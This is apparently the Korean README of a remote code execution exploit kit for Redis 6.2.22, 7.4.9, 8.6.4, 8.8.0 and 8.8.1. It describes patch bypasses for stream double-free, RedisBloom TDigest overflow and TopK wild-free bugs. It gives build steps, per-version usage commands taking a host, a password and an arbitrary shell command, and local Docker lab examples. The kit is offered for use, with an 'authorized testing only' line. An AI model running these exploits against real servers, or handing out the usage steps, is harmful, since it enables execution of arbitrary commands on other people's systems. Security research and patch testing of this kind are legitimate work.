
Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1용 RCE PoC
Redis 6.2.22, 7.4.9, 8.6.4를 대상으로 하는 비파괴적(non-destructive) RCE 익스플로잇입니다. stream consumer-group 공유 NACK double free(CVE-2026-25243 패치 우회)를 이용하며, 8.8.0은 번들 RedisBloom의 TDigest 힙 오버플로, 8.8.1은 TopK wild free(CVE-2026-25589 패치 우회)를 이용합니다.
A_exploit_stock.py — 6.2.22용 익스플로잇 (redis:6.2.22 이미지)P74_exploit.py (+ P74_g2.py) — 7.4.9용 익스플로잇 (redis:7.4)P86_exploit.py — 8.6.4용 익스플로잇 (redis:8.6)P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — 8.8.0용 익스플로잇 (redis:8.8.0, 번들 모듈 TDigest 힙 오버플로 이용)T88_exploit.py — 8.8.0 및 8.8.1용 익스플로잇 (번들 모듈 TopK wild free 이용; 불완전한 CVE-2026-25589 수정 우회 — RedisBloom v8.8.0 및 v8.8.2에서 동작)A_lib.py, G2_arbread.py — 공용 헬퍼 (익스플로잇과 같은 위치에 있어야 함)crc64.c/h, crcspeed.c/h — libcrc64.so용 소스 (Redis CRC64, 유효한 RESTORE 페이로드를 만드는 데 필요)calibrate.sh — 비공식 빌드용 바이너리 오프셋 계산P74_loop.sh, P86_run.sh — 부팅 재시도 래퍼gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
요구 사항: Python 3.6+ (pip 패키지 불필요), gcc.
# 6.2.22 (DEBUG는 기본적으로 활성화됨)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — 공식 대상, debug 플래그 불필요
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — 공식 대상, 새 컨테이너/인스턴스 사용을 강력히 권장
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, 공식 대상, 새 인스턴스 권장
python3 T88_exploit.py <host> <port> [password] [trigger]
password — 인증이 없는 대상은 생략(또는 "" 전달)trigger — 셸 명령, 기본값은 /data/pwned* 아래에 증명 파일 작성예시:
# 로컬 랩, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# 로컬 랩, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# 로컬 랩, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# 로컬 랩, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off 등; --help 참조), ./calibrate.sh /path/to/redis-server [/path/to/libc.so.6]를 실행해 오프셋을 생성하세요. 잘못된 오프셋은 대상 서버를 크래시시킵니다 (범위를 벗어난 읽기).EVAL, RESTORE, XGROUP (8.8.0/8.8.1은 기본적으로 포함된 번들 RedisBloom 모듈도 필요).HARDENING.md를 참조하세요. 8.8.0 익스플로잇은 약 2000개의 0으로 채워진 tdigest 구조체와 손상된 oracle 키를 남기므로, 이후 대상에서 FLUSHALL/SAVE를 실행하지 마세요.TopK_Destroy는 RedisBloom v8.8.0과 v8.8.2 모두에서 크기가 부족한 힙을 넘어 모든 k 포인터를 계속 읽습니다.승인된 테스트에만 사용하세요.